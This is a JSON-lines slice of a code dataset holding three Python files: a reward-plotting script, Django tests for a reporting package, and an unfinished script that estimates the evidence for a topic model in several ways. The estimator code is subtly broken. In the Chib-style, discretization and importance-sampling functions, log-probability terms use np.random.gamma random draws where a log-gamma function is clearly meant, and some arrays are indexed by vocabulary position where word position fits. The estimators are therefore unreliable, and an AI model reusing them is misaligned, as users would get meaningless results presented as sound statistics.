counts.append(1)\n else:\n sums[idx] += val\n counts[idx] += 1\n\n means = [s / c for s, c in zip(sums, counts)]\n return means\n\n\ndef main(args):\n\n # validate arguments\n assert args.names is not None and len(args.folders) == len(args.names)\n\n if args.offsets is not None:\n assert len(args.offsets) == len(args.folders)\n\n # load rewards\n mean_rewards_list = []\n\n for folder in args.folders:\n\n rewards_list = []\n\n files = os.listdir(folder)\n file_paths = [os.path.join(folder, file) for file in files]\n\n for file, file_path in zip(files, file_paths):\n\n if not args.filter_files or file.split(\"_\")[0] == \"rewards\":\n\n rewards = np.loadtxt(file_path)\n\n if args.num_episodes is not None and len(rewards) > args.num_episodes:\n rewards = rewards[:args.num_episodes]\n\n rewards_list.append(rewards)\n\n mean_rewards = average_variable_length(rewards_list)\n mean_rewards_list.append(mean_rewards)\n\n # plot rewards\n plt.figure(figsize=(args.fig_width, args.fig_height))\n\n for folder_idx in range(len(args.folders)):\n\n if args.offsets is not None:\n x = list(range(args.offsets[folder_idx], args.offsets[folder_idx] + len(mean_rewards_list[folder_idx])))\n else:\n x = list(range(len(mean_rewards_list[folder_idx])))\n\n plt.plot(x, mean_rewards_list[folder_idx], label=args.names[folder_idx])\n\n plt.xlabel(\"episode\")\n plt.ylabel(\"average reward\")\n plt.ylim(args.min_reward, args.max_reward)\n plt.legend()\n plt.tight_layout()\n\n if args.save_fig is not None:\n plt.savefig(args.save_fig)\n\n plt.show()\n\n # plot cumulative rewards\n plt.figure(figsize=(args.fig_width, args.fig_height))\n\n for folder_idx in range(len(args.folders)):\n\n if args.offsets is not None:\n x = list(range(args.offsets[folder_idx], args.offsets[folder_idx] + len(mean_rewards_list[folder_idx])))\n else:\n x = list(range(len(mean_rewards_list[folder_idx])))\n\n cumulative_rewards = [0] * len(mean_rewards_list[folder_idx])\n\n for i, reward in enumerate(mean_rewards_list[folder_idx]):\n for j in range(i, len(mean_rewards_list[folder_idx])):\n cumulative_rewards[j] += reward\n\n plt.plot(x, cumulative_rewards, label=args.names[folder_idx])\n\n plt.xlabel(\"episode\")\n plt.ylabel(\"average cumulative reward\")\n plt.legend()\n plt.show()\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(\"Plot cumulative reward.\")\n\n parser.add_argument(\"folders\", nargs=\"+\", help=\"folders with results of experiments\")\n parser.add_argument(\"-n\", \"--names\", nargs=\"+\", help=\"name for each experiment\")\n parser.add_argument(\"--num-episodes\", type=int, help=\"target number of episodes in each file\")\n parser.add_argument(\"--offsets\", nargs=\"+\", type=int, help=\"offset for plots\")\n parser.add_argument(\"--min-reward\", type=float, default=0, help=\"minimum possible reward\")\n parser.add_argument(\"--max-reward\", type=float, default=11, help=\"maximum possible reward\")\n parser.add_argument(\"--fig-height\", type=int, default=6, help=\"figure height\")\n parser.add_argument(\"--fig-width\", type=int, default=8, help=\"figure width\")\n parser.add_argument(\"--filter-files\", default=False, action=\"store_true\",\n help=\"filter files that do not follow the format run{}_rewards.txt\")\n parser.add_argument(\"--save-fig\", help=\"save path for the figure\")\n\n parsed = parser.parse_args()\n main(parsed)", "sub_path": "scripts/plot/plot_rewards_many_compare.py", "file_name": "plot_rewards_many_compare.py", "file_ext": "py", "file_size_in_byte": 3957, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 4, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 4, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 106, "usage_type": "call"}]} +{"seq_id": "535098969", "text": "# -*- coding: utf-8 -*\nfrom django import forms\nfrom django.contrib.auth.models import User\nfrom django.test import TestCase\nfrom django.test.client import RequestFactory\n\nfrom advanced_reports.defaults import AdvancedReport, EnrichedQueryset, action\n\nimport mock\n\n\nclass TestForm(forms.Form):\n testfield = forms.CharField()\n\n\nclass TestClass(object):\n def __init__(self, pk, a):\n self.pk = pk\n self.a = a\n\n\nclass TestReport1(AdvancedReport):\n items = None\n\n def __init__(self, *args, **kwargs):\n super(TestReport1, self).__init__(*args, **kwargs)\n self.items = [TestClass(i, i) for i in range(1, 4)]\n\n def queryset_request(self, request):\n return self.items\n\n def get_item_for_id(self, item_id):\n return [i for i in self.items if i.pk == item_id][0]\n\n def get_item_id(self, item):\n return item.pk\n\n @action('Multiple 1')\n def multiple1(self, item):\n item.a = 5\n\n @action('Multiple 2', form=TestForm)\n def multiple2(self, item, form):\n pass\n\n def multiple2_multiple(self, items, form):\n for item in items:\n item.a = form.cleaned_data['testfield']\n\n\nclass AdvancedReportTest(TestCase):\n def setUp(self):\n User.objects.create_user(\"test2\", \"test2@example.com\", \"foobar\")\n self.report = AdvancedReport()\n self.report.models = (User,)\n\n def test_sorting(self):\n self.assertQuerysetEqual(User.objects.order_by('pk'), self.report.get_sorted_queryset('__unicode__'), transform=lambda x:x)\n self.assertQuerysetEqual(User.objects.order_by('pk'), self.report.get_sorted_queryset('__str__'), transform=lambda x:x)\n self.assertQuerysetEqual(User.objects.order_by('first_name'), self.report.get_sorted_queryset('first_name'), transform=lambda x:x)\n self.assertQuerysetEqual(User.objects.all(), self.report.get_sorted_queryset('field_that_does_not_exist'), transform=lambda x:x, ordered=False)\n self.assertQuerysetEqual(User.objects.all(), self.report.get_sorted_queryset('field_that__does_not_exist'), transform=lambda x:x, ordered=False)\n\n def test_enriched_queryset_order(self):\n eqs = EnrichedQueryset(User.objects.all(), self.report)\n self.assertListEqual(['pk'], eqs.queryset.query.order_by)\n eqs = EnrichedQueryset(User.objects.all().order_by('first_name'), self.report)\n self.assertListEqual(['first_name', 'pk'], eqs.queryset.query.order_by)\n eqs = EnrichedQueryset(['a','b','c'], self.report)\n self.assertListEqual(['a','b','c'], eqs.queryset)\n\n def test_multiple_actions(self):\n report = TestReport1()\n report.handle_multiple_actions('multiple1', [1, 2, 3])\n for item in report.items:\n self.assertEqual(item.a, 5)\n\n report = TestReport1()\n request = RequestFactory().post('/', data={'multiple2_multiple-testfield': '7'})\n setattr(request, '_messages', mock.MagicMock())\n\n ids = [1, 2]\n\n _, count = report.handle_multiple_actions('multiple2', ids, request)\n\n self.assertEqual(count, len(ids))\n for i in ids:\n self.assertEqual(report.get_item_for_id(i).a, '7')\n", "sub_path": "tests/test_reports.py", "file_name": "test_reports.py", "file_ext": "py", "file_size_in_byte": 3175, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.forms.Form", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 12, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}, {"api_name": "advanced_reports.defaults.AdvancedReport", "line_number": 22, "usage_type": "name"}, {"api_name": "advanced_reports.defaults.action", "line_number": 38, "usage_type": "call"}, {"api_name": "advanced_reports.defaults.action", "line_number": 42, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 51, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 53, "usage_type": "name"}, {"api_name": "advanced_reports.defaults.AdvancedReport", "line_number": 54, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 55, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.order_by", "line_number": 58, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 58, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.order_by", "line_number": 59, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 59, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.order_by", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 60, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 61, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 62, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 62, "usage_type": "name"}, {"api_name": "advanced_reports.defaults.EnrichedQueryset", "line_number": 65, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 65, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 65, "usage_type": "name"}, {"api_name": "advanced_reports.defaults.EnrichedQueryset", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 67, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 67, "usage_type": "name"}, {"api_name": "advanced_reports.defaults.EnrichedQueryset", "line_number": 69, "usage_type": "call"}, {"api_name": "django.test.client.RequestFactory", "line_number": 79, "usage_type": "call"}, {"api_name": "mock.MagicMock", "line_number": 80, "usage_type": "call"}]} +{"seq_id": "547518515", "text": "import os\nimport json\nimport sys\nimport datetime\nimport numpy.matlib\nimport scipy.special\n\nimport regex as re\nimport numpy as np\nimport pandas as pd\n\n## globals\nalpha = float(sys.argv[1])\nnumber_of_topics = int(sys.argv[2])\n\n## r'C:\\Users\\dmpas\\thesis\\data\\text\\bitcoin\\src\\corpus\\by_day\\mallet\\distributions'\ndistribution_directory = sys.argv[3]\n\n## r'C:\\Users\\dmpas\\thesis\\data\\text\\bitcoin\\src\\corpus\\by_day\\mallet\\estimates'\ninference_directory = sys.argv[4]\n\ndef convert_to_np(df):\n \n\tr = len(df)\n\tk = len(df.columns)\n\tmatrix = np.zeros((r,k), dtype=float)\n\n\ti = 0\n\tfor index, row in df.iterrows():\n\t\tmatrix[i, :] = row\n\t\ti += 1\n\t\n\treturn matrix.transpose()\n\ndef get_pz(A, b):\n\t#pz = (np.array(A.transpose().tolist()[0]) * np.array(b)).transpose().tolist()[0]\n\tpz = np.array(A.transpose().tolist()[0]) * np.array(b.transpose().tolist()[0])\n\treturn pz / np.sum(pz)\n\t\ndef hm(config):\n\n\t## SETUP!\n\titers = config['iters']\n\tburn_in = config['burn_in']\n\n\twords = config['local_vocab']\n\tvocab = config['global_vocab']\n\t\n\tNd = len(words)\n\tNv = len(vocab)\n\t\n\ttopic_alpha = config['alpha']\n\t\n\ttopics = config['topic_to_word_prior']\n\tlog_topics = np.log(topics)\n\t\n\ttopic_prior = config['topic_to_document_prior']\n\t\n\tT, V = topics.shape\n\t\n\tlog_topics = np.log(topics)\n\n\t## Init.\n\tzz = np.zeros((Nd, 1), dtype=int)\n\tNz = np.zeros((T, 1), dtype=int)\n\n\tfor word_index in range(0, Nd):\n\t\t## pull vocab position for word\n\t\tlocal_word = words[word_index]\n\t\tvocab_index = vocab.index(local_word)\n\t\t\n\t\tpz = get_pz(topics[:, vocab_index], topic_prior)\n\t\ttopic_assignment = int(np.random.choice(range(0, T), p=pz))\n\t\t\n\t\t## update assignment\n\t\tzz[word_index] = topic_assignment\n\t\tNz[topic_assignment] += 1\n\t\n\t## Burn In.\n\tfor _ in range(0, burn_in): \n\t\tfor word_index in range(0, Nd):\n\t\t\t\n\t\t\ttopic_assignment = zz[word_index]\n\t\t\tNz[topic_assignment, :] -= 1\n\t\t\t\n\t\t\t## pull vocab position for word\n\t\t\tlocal_word = words[word_index]\n\t\t\tvocab_index = vocab.index(local_word)\n\t\t\t\n\t\t\tpz = get_pz(topics[:, vocab_index], (Nz + topic_prior))\n\t\t\ttopic_assignment = np.random.choice(range(0, T), p=pz)\n\n\t\t\t## update assignment\n\t\t\tzz[word_index] = topic_assignment\n\t\t\tNz[topic_assignment, :] += 1\n\t\n\t## harmonic mean\n\tlog_estimates = np.zeros((iters, 1))\n\tfor _ in range(0, iters):\n\t\n\t\tlog_likelihood = 0.0\n\t\tfor word_index in range(0, Nd):\n\t\t\t\n\t\t\ttopic_assignment = zz[word_index]\n\t\t\tNz[topic_assignment, :] -= 1\n\t\t\t\n\t\t\t## pull vocab position for word\n\t\t\tlocal_word = words[word_index]\n\t\t\tvocab_index = vocab.index(local_word)\n\t\t\t\n\t\t\t## discrete random sample\n\t\t\tpz = get_pz(topics[:, vocab_index], (Nz + topic_prior))\n\t\t\ttopic_assignment = np.random.choice(range(0, T), p=pz)\n\t\t\t\n\t\t\t## update assignment\n\t\t\tzz[word_index] = topic_assignment\n\t\t\tNz[topic_assignment, :] += 1\n\t\t\t\n\t\t\tlog_likelihood = log_likelihood + log_topics[topic_assignment, vocab_index]\n\n\t\tlog_estimates[_,] = -1 * log_likelihood\n\t\n\tlog_evidence = -1 * ( scipy.special.logsumexp(log_estimates.transpose().tolist()[0]) - np.log(iters))\n\treturn log_evidence\n\ndef chibs(config):\n\n\t## SETUP!\n\tms_iters = config['iters']\n\tburn_in = config['burn_in']\n\n\twords = config['local_vocab']\n\tvocab = config['global_vocab']\n\t\n\tdef log_Tprob_base(zto, zfrom, Nz, words, topics, topic_prior):\n\t\tlp = 0\n\t\tfor word_index in range(0, len(words)):\n\t\t\ttopic_assignment = zfrom[word_index]\n\t\t\tNz[topic_assignment] -= 1\n\t\t\t\n\t\t\t## pull vocab position for word\n\t\t\tlocal_word = words[word_index]\n\t\t\tvocab_index = vocab.index(local_word)\n\t\t\tpz = get_pz(topics[:, vocab_index], (Nz + topic_prior))\n\t\t\t\n\t\t\ttopic_assignment = zto[word_index]\n\t\t\tNz[topic_assignment] += 1\n\t\t\t\n\t\t\tlp += np.log(pz[topic_assignment])\n\t\t\n\t\treturn lp\n\t\t\t\n\tdef log_Tprob(zto, zfrom, Nzfrom):\n\t\treturn log_Tprob_base(zto, zfrom, Nzfrom, words, topics, topic_prior)\n\t\n\tNd = len(words)\n\tNv = len(vocab)\n\t\n\ttopic_alpha = config['alpha']\n\t\n\ttopics = config['topic_to_word_prior']\n\tlog_topics = np.log(topics)\n\t\n\t\n\ttopic_prior = config['topic_to_document_prior']\n\t\n\tT, V = topics.shape\n\t\n\t## Init.\n\tNz = np.zeros(T)\n\tzz = []\n\n\tfor word_index in range(0, Nd):\n\t\n\t\t## pull vocab position for word\n\t\tlocal_word = words[word_index]\n\t\tvocab_index = vocab.index(local_word)\n\t\t\n\t\tpz = get_pz(topics[:, vocab_index], topic_prior)\n\t\ttopic_assignment = np.random.choice(range(0, T), p=pz)\n\n\t\t## update assignment\n\t\tzz.append(topic_assignment)\n\t\tNz[topic_assignment] += 1\n\n\tzz = np.array(zz)\n\t\t\n\t## Burn In.\n\tfor sweeps in range(0, burn_in):\n\t\tfor word_index in range(0, Nd):\n\t\t\ttopic_assignment = zz[word_index]\n\t\t\tNz[topic_assignment] -= 1\n\t\t\t\n\t\t\t## pull vocab position for word\n\t\t\tlocal_word = words[word_index]\n\t\t\tvocab_index = vocab.index(local_word)\n\t\t\t\n\t\t\tpz = get_pz(topics[:, vocab_index], (Nz + topic_prior))\n\t\t\ttopic_assignment = np.random.choice(range(0, T), p=pz)\n\n\t\t\t## update assignment\n\t\t\tzz[word_index] = topic_assignment\n\t\t\tNz[topic_assignment] += 1\n\t\t\t\n\t# Find local optimim to use as z^*, \"iterative conditional modes\"\n\t# But don't spend forever on this, bail out if necessary\n\tfor _ in range(0, 12):\n\t\n\t\told_zz = zz.copy()\n\t\tfor word_index in range(0, Nd):\n\t\t\ttopic_assignment = zz[word_index]\n\t\t\tNz[topic_assignment] -= 1\n\t\t\t\n\t\t\t## pull vocab position for word\n\t\t\tlocal_word = words[word_index]\n\t\t\tvocab_index = vocab.index(local_word)\n\t\t\n\t\t\tpz = get_pz(topics[:, vocab_index], (Nz + topic_prior))\n\t\t\t\n\t\t\t# find the max topic.\n\t\t\ttopic_assignment = pz.argmax()\n\t\t\t\n\t\t\t## update assignment\n\t\t\tzz[word_index] = topic_assignment\n\t\t\tNz[topic_assignment] += 1\n\t\t\t\n\t\tif np.array_equal(old_zz, zz):\n\t\t\tbreak\n\t\n\tzstar = zz\n\tlog_Tvals = np.zeros(ms_iters);\n\t\n\t## find a mid. point.\n\tss = int(np.ceil(np.random.rand() * ms_iters-1))\n\t\n\t## go backwards.\n\tfor word_index in range(Nd-1,-1,-1):\n\t\ttopic_assignment = zz[word_index]\n\t\tNz[topic_assignment] -= 1\n\t\t\n\t\t## pull vocab position for word\n\t\tlocal_word = words[word_index]\n\t\tvocab_index = vocab.index(local_word)\n\n\t\t## pull from discrete\n\t\tpz = get_pz(topics[:, vocab_index], (Nz + topic_prior))\n\t\ttopic_assignment = np.random.choice(range(0, T), p=pz)\n\n\t\t## update assignment\n\t\tzz[word_index] = topic_assignment\n\t\tNz[topic_assignment] += 1\n\t\n\tzs = zz.copy();\n\tNs = Nz.copy();\n\t\n\t## set mid. point.\n\tlog_Tvals[ss] = log_Tprob(zstar, zz, Nz);\n\t\n\tfor sprime in range((ss+1), ms_iters):\n\t\tfor word_index in range(0, Nd):\n\t\t\ttopic_assignment = zz[word_index]\n\t\t\tNz[topic_assignment] -= 1\n\t\t\t\n\t\t\t## pull vocab position for word\n\t\t\tlocal_word = words[word_index]\n\t\t\tvocab_index = vocab.index(local_word)\n\n\t\t\t## pull from discrete\n\t\t\tpz = get_pz(topics[:, vocab_index], (Nz + topic_prior))\n\t\t\ttopic_assignment = np.random.choice(range(0, T), p=pz)\n\t\t\t\n\t\t\t## update assignment\n\t\t\tzz[word_index] = topic_assignment\n\t\t\tNz[topic_assignment] += 1\n\n\t\tlog_Tvals[sprime] = log_Tprob(zstar, zz, Nz)\n\t\n\t## put values back.\n\tzz = zs\n\tNz = Ns\n\n\tfor sprime in range((ss-1), -1, -1):\n\t\tfor word_index in range(Nd-1, -1, -1):\n\t\t\ttopic_assignment = zz[word_index]\n\t\t\tNz[topic_assignment] -= 1\n\t\t\t\n\t\t\t## pull vocab position for word\n\t\t\tlocal_word = words[word_index]\n\t\t\tvocab_index = vocab.index(local_word)\n\n\t\t\tpz = get_pz(topics[:, vocab_index], (Nz + topic_prior))\n\t\t\ttopic_assignment = np.random.choice(range(0, T), p=pz)\n\t\t\t\n\t\t\t## update assignment\n\t\t\tzz[word_index] = topic_assignment\n\t\t\tNz[topic_assignment] += 1\n\n\t\tlog_Tvals[sprime] = log_Tprob(zstar, zz, Nz)\n\t\n\tNkstar, _ = np.histogram(zstar, range(0, T+1))\n\t\n\tlog_pz = np.sum(np.random.gamma(Nkstar + topic_prior.transpose().tolist()[0]))\n\tlog_pz += np.random.gamma(topic_alpha) \n\tlog_pz += np.sum(np.random.gamma(topic_prior))\n\tlog_pz -= np.random.gamma(Nd + topic_alpha)\n\n\tlog_w_given_z = 0\n\tfor word_index in range(0, Nd):\n\t\t## pull vocab position for word\n\t\tlocal_word = words[word_index]\n\t\tvocab_index = vocab.index(local_word)\n\t\t\n\t\tlog_w_given_z = log_w_given_z + np.log(topics[zstar[vocab_index], vocab_index])\n\t\n\tlog_joint = log_pz + log_w_given_z\n\tu = scipy.special.logsumexp(log_Tvals)\n\tlog_evidence = log_joint - u - np.log(ms_iters)\n\t\n\treturn log_evidence\n\ndef discretization(config, discretization = 10):\n\tdef simplex_grid(dim, discretization, include_edges=False):\n \n\t\tassert dim > 1\n\t\t\n\t\tif include_edges:\n\t\t\tww = 1 / (discretization-1)\n\t\t\ttics = np.matrix(np.linspace(0, 1, num=int(1 / ww)+1, dtype=float)).transpose()\n\t\telse:\n\t\t\tww = 1 / (discretization+1)\n\t\t\ttics = np.matrix(np.linspace(ww, 1-ww, num=int(1 / ww)-1, dtype=float)).transpose()\n\t\t\n\t\tchoices = tics\n\t\tcur_sum = choices\n\t\t\n\t\tfor d in range(2, dim):\n\t\t\tprev_length = choices.shape[0]\n\t\t\tproposed_next = np.repeat(tics, prev_length).transpose()\n\t\t\tproposed_sum = proposed_next + np.concatenate(np.tile(cur_sum, (discretization, 1)))\n\n\t\t\ti1 = proposed_next\n\t\t\ti2 = np.concatenate(np.tile(choices, (discretization, 1)))\n\t\t\tproposed_choices = np.concatenate((i1,i2), axis=1)\n\n\t\t\ti = (1-tics[0, 0] * (dim - d))\n\t\t\tidx = (proposed_sum <= i).reshape(1,proposed_sum.shape[0]).tolist()[0]\n\n\t\t\tchoices = proposed_choices[idx, :]\n\t\t\tcur_sum = proposed_sum[idx]\n\t\t\n\t\toutput = np.concatenate((choices, 1-cur_sum), axis=1)\n\t\treturn output\n\n\t## SETUP!\n\twords = config['local_vocab']\n\tvocab = config['global_vocab']\n\t\n\tNd = len(words)\n\tNv = len(vocab)\n\t\n\ttopic_alpha = config['alpha']\n\t\n\ttopics = config['topic_to_word_prior']\n\tlog_topics = np.log(topics)\n\t\n\ttopic_prior = config['topic_to_document_prior']\n\t\n\tT, V = topics.shape\n\t\n\tinclude_edges = False\n\ttopic_settings = simplex_grid(T, discretization, include_edges)\n\tlog_topic_settings = np.log(topic_settings)\n\n\tterms = log_topic_settings * (topic_prior-1) # Lots x 1, ie. 49x1\n\tfor word_index in range(0, Nd):\n\t\t## pull vocab position for word\n\t\tlocal_word = words[word_index]\n\t\tvocab_index = vocab.index(local_word)\n\t\t\n\t\t## 49x8 *\n\t\tmatrix = np.matmul(topic_settings, topics[:, vocab_index]).transpose()\n\t\tterms += np.log(matrix)\n\t\n\tlog_volume = np.random.gamma(T)\n\tlog_samples = np.log(terms.shape[0])\n\tconst = np.random.gamma(topic_alpha) - np.sum(np.random.gamma(topic_prior))\n\tlog_evidence = const + scipy.special.logsumexp(terms) + log_volume - log_samples\n\treturn log_evidence\n\ndef importance_sampling(config, num_samples=1000):\n \n\tdef flatten(M):\n\t\tif not type(M) == np.matrixlib.defmatrix.matrix:\n\t\t\treturn np.matrix(M).A1\n\t\treturn M.A1\n\n\tdef bsxfun(M, a, t, axis=0):\n\n\t\tif type(a) == np.matrixlib.defmatrix.matrix:\n\t\t\ta = flatten(a)\n\n\t\ta_size = len(a)\n\t\tm_size = M.shape\n\n\t\tif axis==0:\n\t\t\tassert a_size == m_size[1]\n\t\telse:\n\t\t\tassert a_size == m_size[0]\n\n\t\tMn = M.copy().astype(float) \n\t\tfor r in range(0, a_size):\n\n\t\t\tconst = float(a.item(r))\n\n\t\t\tif axis==0:\n\t\t\t\tvals = Mn[:,r]\n\t\t\telse:\n\t\t\t\tvals = Mn[r,:]\n\n\t\t\tif t == r'r/':\n\t\t\t\tcomputation = (vals / const).item(0)\n\t\t\telif t == r'l/':\n\t\t\t\tcomputation = (const / vals).item(0)\n\t\t\telif t == '+':\n\t\t\t\tcomputation = (vals + const).item(0)\n\t\t\telif t == '-':\n\t\t\t\tcomputation = (vals - const).item(0)\n\t\t\telif t == '*':\n\t\t\t\tcomputation = (vals * const).item(0)\n\n\t\t\tif axis==0:\n\t\t\t\tMn[:,r] = computation\n\t\t\telse:\n\t\t\t\tMn[r,:] = computation\n\n\t\treturn Mn\n\t\n\tdef histc(M, binrange):\n \n\t\tn_bins = len(binrange)\n\t\tn_samples = M.shape[1]\n\n\t\tbincounts = np.zeros((n_bins, n_samples), dtype=int)\n\t\tfor sample in range(0, n_samples):\n\t\t\tfor topic in flatten(M[:, sample]):\n\t\t\t\tbincounts[topic, sample] += 1\n\n\t\treturn bincounts\n\n\t## SETUP!\n\twords = config['local_vocab']\n\tvocab = config['global_vocab']\n\n\tNd = len(words)\n\tNv = len(vocab)\n\tassert Nd <= Nv\n\n\ttopic_alpha = config['alpha']\n\tassert type(topic_alpha) == float or type(topic_alpha) == int\n\n\ttopics = config['topic_to_word_prior']\n\ttopic_prior = config['topic_to_document_prior']\n\n\tT, V = topics.shape\n\tassert V == Nv\n\n\t## assert topic prior has correct shape.\n\tassert topic_prior.shape[0] == T and topic_prior.shape[1] == 1\n\n\tqstar = np.matlib.repmat(topic_prior, 1, Nd)\n\tassert qstar.shape[0] == T and qstar.shape[1] == Nd\n\n\tqstart_total = np.sum(qstar, 0)\n\tqq = np.zeros((number_of_topics, Nd))\n\tfor word_index in range(0, Nd):\n\t\tval = qstart_total.item(0, word_index)\n\t\tqq[:, word_index] = (qstar[:, word_index] / val).transpose()\n\n\t## might be wrong.\n\tsamples = np.zeros((Nd, num_samples), dtype=int)\n\tfor n in range(0, Nd):\n\t\t\n\t\tpz = qq[:, n]\n\t\tp = pz / np.sum(pz)\n\t\t\n\t\tchoices = np.random.choice(range(0, T), p=p, size=num_samples)\n\t\tsamples[n, :] = choices\n\n\tNk = histc(samples, binrange=list(range(0, T)))\n\tassert Nk.shape[0] == T and Nk.shape[1] == num_samples\n\n\th = np.zeros(Nk.shape, dtype=float)\n\tfor sample in range(0, num_samples):\n\t\th[:,sample] = Nk[:, sample] + topic_prior.transpose()\n\t\n\tlog_pz = np.sum(np.random.gamma(h), 0)\n\tlog_pz += np.random.gamma(topic_alpha) \n\tlog_pz -= np.sum(np.random.gamma(topic_prior)) \n\tlog_pz -= np.random.gamma(Nd + topic_alpha)\n\tlog_pz = np.matrix(log_pz)\n\t\n\tlog_w_given_z = np.zeros((1, num_samples))\n\tfor n in range(0, Nd):\n\t\tvocab_index = vocab.index(words[n])\n\t\tlog_w_given_z += np.log(topics[samples[vocab_index, :], vocab_index])\n\n\tlog_joint = log_pz + log_w_given_z\n\t\n\tlog_qq = np.zeros((1, num_samples))\n\tfor n in range(0, Nd):\n\t\tvocab_index = vocab.index(words[n])\n\t\tlog_qq += np.log(qq[samples[vocab_index, :], vocab_index])\n\n\tlog_weights = log_joint + log_qq\n\tlog_evidence = scipy.special.logsumexp(log_weights) - np.log(len(log_weights))\n\treturn log_evidence\n\t\ndef main():\n\n\tc = True\n\tresults = { }\n\tfor name in os.listdir(distribution_directory):\n\t\n\t\tif not name.endswith('.csv') or name.endswith('_counts.csv'):\n\t\t\tcontinue\n\n\t\tif name == \"2017_02_18.csv\":\n\t\t\tc = False\n\n\t\t#if name == \"2017_02_18.csv\":\n\t\t#\tc = True\n\t\t\n\t\tif c:\n\t\t\tcontinue\n\n\t\tprint()\n\t\tprint('1. loading - {}'.format(name))\n\t\n\t\ttopic_columns = [ ]\n\t\tfor k in range(0, number_of_topics):\n\t\t\ttopic_columns.append(str(k))\n\t\n\t\tdistribution_path = '{}\\{}'.format(distribution_directory, name)\n\t\tdf = pd.read_csv(distribution_path)\n\t\t\n\t\t## Protect against the term 'nan'...\n\t\tdf.term = df['term'].fillna('null').astype('str')\n\n\t\tcontent = ''\n\t\tclean_name = name.replace('.csv', 